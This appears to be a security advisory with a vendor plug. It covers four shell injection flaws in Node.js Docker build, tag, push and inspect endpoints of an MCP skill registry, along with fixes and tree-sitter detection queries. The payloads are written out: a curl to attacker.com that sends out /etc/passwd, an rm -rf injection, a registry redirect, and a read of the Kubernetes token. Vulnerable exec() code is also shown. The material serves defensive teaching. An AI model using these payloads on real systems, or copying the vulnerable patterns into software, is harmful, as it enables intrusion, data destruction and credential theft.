Claude MCP skill code injection — Docker image building and container registry push endpoints
SA-SKL-INJECTION24 documents four shell injection vulnerabilities in MCP skill registry Docker image building and container registry push endpoints. User-supplied image names, tags, registry host values, and container IDs are interpolated directly into exec() template literals, enabling command injection via IFS-separated payloads in image names, semicolon injection in tag operations, registry auth separator abuse in push commands, and service account token exfiltration via inspect.
exec(`docker build -t ${"{imageName}"} .`); attacker imageName=$(curl${"{IFS}"}http://attacker.com/$(cat${"{IFS}"}/etc/passwd|base64)) achieves command-injection RCE during image build
exec(`docker tag ${"{sourceImage}"} ${"{targetImage}"}`); attacker sourceImage with ; rm -rf /app/data achieves destructive command injection via semicolon shell metacharacter
exec(`docker push ${"{registryHost}"}/${"{imageName}"}`); attacker registryHost with @attacker.com exploits Docker's registry auth separator to redirect skill images to attacker-controlled registry
exec(`docker inspect ${"{containerId}"}`); attacker containerId with "; cat /var/run/secrets/kubernetes.io/serviceaccount/token" exfiltrates Kubernetes service account token via shell injection
INJECTION24-001 (Critical): exec() template literal in docker build enables IFS-based command injection
MCP skill registry build pipelines invoke Docker to build container images from user-submitted skill source code. When the image name supplied by the user is interpolated directly into an exec() template literal — exec(`docker build -t ${imageName} .`) — any shell metacharacter in imageName is interpreted by the shell spawned by exec(). The attacker constructs an image name that uses ${IFS} (the internal field separator) in place of spaces to bypass naive space-based input filtering, while embedding a command substitution that exfiltrates the server's /etc/passwd file encoded as base64 in an HTTP request to an attacker-controlled server.
The shell spawned by exec() runs with the same privileges as the Node.js process — typically a service account with Docker socket access, file system read access to the build context (which contains all user-submitted skill source files), and network access. Beyond /etc/passwd, the payload can read application environment variables (database credentials, API keys), write to the file system (backdooring build outputs), or establish a reverse shell. CVSS 9.8 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
// VULNERABLE — INJECTION24-001: user-supplied imageName interpolated into exec() template literal
// File: routes/build.js
const { exec } = require('child_process');
router.post('/builds', authenticate, async (req, res) => {
const { imageName, buildContextPath } = req.body;
// VULNERABILITY: imageName is attacker-controlled; exec() spawns /bin/sh -c
// Payload: imageName = "myimage$(curl${IFS}http://attacker.com/$(cat${IFS}/etc/passwd|base64))"
// Shell interprets $() as command substitution; ${IFS} bypasses space-based filters
exec(`docker build -t ${imageName} ${buildContextPath}`, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: stderr });
res.json({ built: true, image: imageName });
});
});
Fix: Replace exec() with execFile() and pass arguments as an array. execFile() does not invoke a shell — the argument array is passed directly to the binary, so no shell metacharacter expansion occurs. Validate imageName against a strict Docker image reference grammar (/^[a-z0-9][a-z0-9._\-\/]{0,127}$/) before passing it to execFile(). Reject any value containing uppercase letters, spaces, shell metacharacters ($, `, ;, &, |, (, )), or characters outside the Docker reference grammar. Validate buildContextPath against a known safe directory prefix.
// FIXED — INJECTION24-001: execFile() with arg array; imageName validated against Docker grammar
// File: routes/build.js
const { execFile } = require('child_process');
const path = require('path');
const SAFE_IMAGE_NAME_RE = /^[a-z0-9][a-z0-9._\-\/]{0,127}$/;
const SAFE_BUILD_CONTEXT_DIR = '/var/skill-build-contexts/';
function validateImageName(name) {
if (!SAFE_IMAGE_NAME_RE.test(name)) {
throw new Error(`Invalid image name: ${name}`);
}
return name;
}
function validateBuildContextPath(p) {
const resolved = path.resolve(p);
if (!resolved.startsWith(SAFE_BUILD_CONTEXT_DIR)) {
throw new Error('Build context path outside permitted directory');
}
return resolved;
}
router.post('/builds', authenticate, async (req, res) => {
const { imageName, buildContextPath } = req.body;
const safeImage = validateImageName(imageName);
const safePath = validateBuildContextPath(buildContextPath);
// execFile: no shell invocation; arguments are not shell-interpreted
execFile('docker', ['build', '-t', safeImage, safePath], (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: 'Build failed' }); // no stderr leak
res.json({ built: true, image: safeImage });
});
});
INJECTION24-002 (Critical): exec() template literal in docker tag enables semicolon-based destructive injection
The image tagging endpoint retags a source image with a target reference, typically as part of a promotion pipeline (e.g., promoting a :dev build to :staging). When both sourceImage and targetImage are interpolated into an exec() call without validation, a semicolon in sourceImage terminates the docker tag command and allows an arbitrary second command to execute in the same shell context. Unlike the INJECTION24-001 IFS bypass, the semicolon requires no bypass because most image name validators focus on preventing colons and slashes but neglect semicolons.
The practical impact of a destructive injection payload (; rm -rf /app/data) is permanent data loss if the application data directory is reachable from the Node.js process. Alternative payloads can establish persistence (writing a cron job or modifying startup scripts), exfiltrate all skill source files, or modify the Docker image being promoted to introduce a backdoor layer. CVSS 9.1 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
// VULNERABLE — INJECTION24-002: sourceImage and targetImage interpolated into exec()
// File: routes/images.js
router.post('/images/tag', authenticate, async (req, res) => {
const { sourceImage, targetImage } = req.body;
// VULNERABILITY: semicolon in sourceImage terminates docker tag command
// Payload: sourceImage = "myimage:dev; rm -rf /app/data"
// Shell executes: docker tag myimage:dev [then] rm -rf /app/data
exec(`docker tag ${sourceImage} ${targetImage}`, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: stderr });
res.json({ tagged: true });
});
});
Fix: Replace exec() with execFile('docker', ['tag', sourceImage, targetImage]). Validate both sourceImage and targetImage against the Docker image reference grammar before calling execFile(). The Docker reference format is [registry/][namespace/]name[:tag][@digest] — a strict regex that permits only alphanumerics, dots, hyphens, underscores, forward slashes, colons, and @ in specific positions, with no shell metacharacters permitted.
// FIXED — INJECTION24-002: execFile() with arg array; both images validated against Docker grammar
// File: routes/images.js
// Docker reference grammar: registry/namespace/name:tag@digest
// Permits: a-z0-9, '.', '-', '_', '/', ':', '@' in specific positions
const DOCKER_REF_RE = /^[a-z0-9]([a-z0-9._\-]*(\/[a-z0-9._\-]+)*)?(:[a-z0-9._\-]+)?(@sha256:[a-f0-9]{64})?$/;
function validateDockerRef(ref) {
if (!DOCKER_REF_RE.test(ref) || ref.length > 256) {
throw new Error(`Invalid Docker reference: ${ref}`);
}
return ref;
}
router.post('/images/tag', authenticate, async (req, res) => {
let { sourceImage, targetImage } = req.body;
try {
sourceImage = validateDockerRef(sourceImage);
targetImage = validateDockerRef(targetImage);
} catch (e) {
return res.status(400).json({ error: e.message });
}
// execFile: arg array; no shell; semicolons have no special meaning
execFile('docker', ['tag', sourceImage, targetImage], (err) => {
if (err) return res.status(500).json({ error: 'Tag operation failed' });
res.json({ tagged: true });
});
});
INJECTION24-003 (High): exec() in docker push with attacker registryHost redirects images via auth separator
The container registry push endpoint promotes a locally built image to a remote registry. When registryHost is user-supplied and interpolated into exec(`docker push ${registryHost}/${imageName}`), an attacker can abuse Docker's registry authentication URL separator. Docker's authentication credential store resolves credentials by matching the registry hostname prefix of a reference. When the attacker supplies registryHost as internal-registry.company.com@attacker.com, Docker resolves authentication against attacker.com (the last component after @) while pushing to the attacker-controlled registry. All skill images intended for the internal registry are redirected to the attacker, exposing proprietary skill source code packaged in the image layers.
Even if the shell injection from @ alone does not achieve RCE, the resulting image misdirection is a high-severity supply chain attack: the attacker receives a copy of every skill image pushed through this endpoint. CVSS 8.1 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).
// VULNERABLE — INJECTION24-003: registryHost interpolated into exec() docker push
// File: routes/registry.js
router.post('/registry/push', authenticate, async (req, res) => {
const { registryHost, imageName, tag } = req.body;
// VULNERABILITY 1: registryHost with @ exploits Docker auth separator
// Payload: registryHost = "internal-registry.company.com@attacker.com"
// Docker authenticates to attacker.com and pushes the image there
// VULNERABILITY 2: exec() — additional shell metacharacters in registryHost enable RCE
exec(`docker push ${registryHost}/${imageName}:${tag}`, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: stderr });
res.json({ pushed: true, ref: `${registryHost}/${imageName}:${tag}` });
});
});
Fix: Validate registryHost against an explicit allowlist of known registry hostnames before constructing any Docker command. Strip @, query string characters, and any character outside the DNS hostname grammar ([a-z0-9.\-] plus port suffix). Use execFile() with an argument array. The allowlist should be CI-validated: adding a new registry requires a code review and deployment, not a user-supplied parameter. For self-hosted registries, enumerate only the specific hostnames registered during onboarding.
// FIXED — INJECTION24-003: allowlist-validated registryHost; execFile() with arg array
// File: routes/registry.js
const REGISTRY_ALLOWLIST = new Set([
'ghcr.io',
'registry.hub.docker.com',
'registry.internal.company.com',
// Add new registries here via code review — never accept from user input
]);
const REGISTRY_HOST_RE = /^[a-z0-9][a-z0-9.\-]*(:[0-9]{1,5})?$/;
function validateRegistryHost(host) {
if (!REGISTRY_HOST_RE.test(host) || !REGISTRY_ALLOWLIST.has(host.split(':')[0])) {
throw new Error(`Registry host not in allowlist: ${host}`);
}
return host;
}
router.post('/registry/push', authenticate, async (req, res) => {
const { registryHost, imageName, tag } = req.body;
let safeHost, safeImage, safeTag;
try {
safeHost = validateRegistryHost(registryHost);
safeImage = validateImageName(imageName); // from INJECTION24-001 fix
safeTag = validateDockerRef(`:${tag}`).slice(1); // reuse ref validator for tag portion
} catch (e) {
return res.status(400).json({ error: e.message });
}
const fullRef = `${safeHost}/${safeImage}:${safeTag}`;
// execFile: no shell; @ in arg has no special meaning to execFile
execFile('docker', ['push', fullRef], (err) => {
if (err) return res.status(500).json({ error: 'Push failed' });
res.json({ pushed: true, ref: fullRef });
});
});
INJECTION24-004 (Critical): exec() in docker inspect with containerId exfiltrates Kubernetes service account token
The container inspection endpoint returns runtime metadata for a running skill container: image digest, environment variables, network config, and mount points. The endpoint calls exec(`docker inspect ${containerId}`) where containerId is supplied by the user. Shell injection via a quoted semicolon in containerId breaks out of the docker inspect argument and executes a second command. The Kubernetes service account token at /var/run/secrets/kubernetes.io/serviceaccount/token is a JWT that grants API server access as the pod's service account — often with read access to secrets, config maps, and pod definitions across the namespace.
An attacker who exfiltrates this token can authenticate directly to the Kubernetes API server, enumerate all pods and secrets in the namespace, and in configurations with overly broad RBAC escalate to cluster-admin. The token is valid for the lifetime of the pod (or until rotated by the service account token rotation policy, typically 24 hours minimum). CVSS 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
// VULNERABLE — INJECTION24-004: containerId interpolated into exec() docker inspect
// File: routes/containers.js
router.get('/containers/:id/inspect', authenticate, async (req, res) => {
const { id: containerId } = req.params;
// VULNERABILITY: shell injection via containerId
// Payload: containerId = 'abc123"; cat /var/run/secrets/kubernetes.io/serviceaccount/token; echo "'
// Shell executes: docker inspect abc123 [then] cat .../token [then] echo
// token value appears in stdout and is returned to attacker
exec(`docker inspect ${containerId}`, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: stderr });
res.json({ inspect: JSON.parse(stdout) });
});
});
Fix: Replace exec() with execFile('docker', ['inspect', containerId]). Validate containerId against Docker's container ID format: a 12-character hex short ID (/^[a-f0-9]{12}$/) or a 64-character full SHA256 ID (/^[a-f0-9]{64}$/). Container IDs contain only lowercase hexadecimal characters — any value with uppercase letters, spaces, punctuation, or non-hex characters should be rejected immediately with 400 before the Docker call. Additionally, verify that the container belongs to the requesting user's tenant before returning inspection results.
// FIXED — INJECTION24-004: execFile() with arg array; containerId validated to hex format
// File: routes/containers.js
// Docker container IDs: 12-char short ID or 64-char full SHA256 — hex only
const CONTAINER_ID_RE = /^[a-f0-9]{12}([a-f0-9]{52})?$/;
function validateContainerId(id) {
if (!CONTAINER_ID_RE.test(id)) {
throw new Error(`Invalid container ID format: must be 12 or 64 hex characters`);
}
return id;
}
router.get('/containers/:id/inspect', authenticate, async (req, res) => {
const { id: containerId } = req.params;
let safeId;
try {
safeId = validateContainerId(containerId);
} catch (e) {
return res.status(400).json({ error: e.message });
}
// Verify container belongs to requesting user's tenant before inspect
const isOwned = await db.query(
'SELECT 1 FROM containers WHERE docker_id LIKE $1 AND user_id = $2',
[`${safeId}%`, req.user.sub]
);
if (!isOwned.rows.length) {
return res.status(403).json({ error: 'Forbidden' });
}
// execFile: arg array; no shell; quote characters in safeId have no special meaning
execFile('docker', ['inspect', safeId], (err, stdout) => {
if (err) return res.status(500).json({ error: 'Inspect failed' });
res.json({ inspect: JSON.parse(stdout) });
});
});
Detection with tree-sitter queries
The highest-value pattern across all four INJECTION24 findings is exec() called with a template literal that embeds variables in the shell command string. The following tree-sitter queries identify this pattern and related misuses in Node.js codebases.
Query 1 — exec() called with a template literal containing interpolations. Matches exec() call expressions whose first argument is a template string with one or more substitutions. Every match is a potential shell injection if any substitution value originates from user input. This is the structural signature of INJECTION24-001 through INJECTION24-004.
; tree-sitter query: exec() called with template literal containing interpolation (all INJECTION24)
; Matches: exec(`docker ... ${userValue} ...`) — shell injection via template literal
(call_expression
function: (identifier) @fn (#eq? @fn "exec")
arguments: (arguments
(template_string
(template_substitution) @interpolation
) @template-cmd
)
) @exec-with-template
; Each @exec-with-template: exec() called with interpolated shell command string.
; Confirm: does any @interpolation include a variable derived from req.params/query/body?
; Fix: replace exec() with execFile() and pass arguments as an array — no shell invocation.
Query 2 — Validation absent before execFile() Docker call. Matches execFile('docker', [...]) calls where the argument array contains a variable that is not preceded by a regex test or allowlist lookup in the same function scope — identifying cases where the fix was partially applied but validation was skipped.
; tree-sitter query: execFile('docker', [...variable...]) without preceding regex test
; Flags execFile Docker calls where the variable is not validated before use
(call_expression
function: (identifier) @fn (#eq? @fn "execFile")
arguments: (arguments
(string) @cmd (#match? @cmd "^docker$")
(array
(_)*
(identifier) @arg-var
(_)*
)
)
) @execfile-docker-call
; Review each @execfile-docker-call: confirm that @arg-var is tested against
; a regex like /^[a-f0-9]{12,64}$/ or /^[a-z0-9][a-z0-9._\-\/]{0,127}$/
; before this call expression in the same function body.
Query 3 — exec() imported from child_process without also importing execFile. Matches files that import exec from child_process but do not import execFile. These files likely use exec() throughout — a codebase-wide signal that shell injection is probable whenever these callers process user input.
; tree-sitter query: child_process exec imported without execFile (codebase-wide signal)
; Matches: const { exec } = require('child_process') without execFile in same destructure
(variable_declarator
name: (object_pattern
(shorthand_property_identifier_pattern) @binding
(#eq? @binding "exec")
!( (shorthand_property_identifier_pattern) @ef-binding
(#eq? @ef-binding "execFile") )
)
value: (call_expression
function: (identifier) @require (#eq? @require "require")
arguments: (arguments
(string) @module (#match? @module "child_process")
)
)
) @exec-only-import
; Each @exec-only-import: file imports exec but not execFile from child_process.
; High likelihood that docker/shell commands in this file use exec() with string interpolation.
; Review all exec() callsites in this file; migrate to execFile() with arg arrays.
Summary
| ID | Severity | Vector | Root cause | Fix |
|---|---|---|---|---|
| INJECTION24-001 | Critical | docker build — imageName | exec() template literal; ${"{IFS}"} bypass; command substitution achieves RCE |
execFile('docker', ['build', '-t', name, path]); validate against /^[a-z0-9][a-z0-9._\-\/]{0,127}$/ |
| INJECTION24-002 | Critical | docker tag — sourceImage/targetImage | exec() template literal; semicolon terminates docker command; arbitrary second command executes |
execFile('docker', ['tag', src, tgt]); validate both refs against Docker reference grammar regex |
| INJECTION24-003 | High | docker push — registryHost | exec() template literal; @ in host exploits Docker auth separator; images pushed to attacker registry |
execFile() with arg array; validate registryHost against explicit hostname allowlist; strip @ |
| INJECTION24-004 | Critical | docker inspect — containerId | exec() template literal; quoted semicolon injects second command; Kubernetes service account token exfiltrated |
execFile('docker', ['inspect', id]); validate id against /^[a-f0-9]{12,64}$/; ownership check |
Injection prevention checklist for MCP skill registry operators running Docker builds: (1) Grep all route and worker files for exec( — every occurrence is a potential shell injection; replace all with execFile() and an argument array. (2) Grep for template literals passed to exec( — flag any that include variables derived from request params, body, or query. (3) Confirm all Docker image name inputs are validated against /^[a-z0-9][a-z0-9._\-\/]{0,127}$/ before use. (4) Confirm all container ID inputs are validated against /^[a-f0-9]{12,64}$/. (5) Confirm registry host inputs are validated against an explicit allowlist — never accept arbitrary registry URLs from users. (6) Confirm all docker push endpoints check that the target registry host does not contain @. (7) Confirm all container inspect and exec endpoints verify container ownership before invoking Docker. (8) Run the three tree-sitter queries above in CI to catch new exec() template literal patterns before deployment. See also: SA-SKL-SSRF36 for SSRF via registry URL parameters; SA-SKL-PRIVESC17 for escalation via build job service account claims.
Scan your MCP skills for INJECTION24 and 2400+ other patterns
SkillAudit continuously audits MCP server and Claude skill codebases for shell injection, deserialization, SSRF, CORS misconfigurations, and privilege escalation. Get findings in minutes.
Get started at skillaudit.dev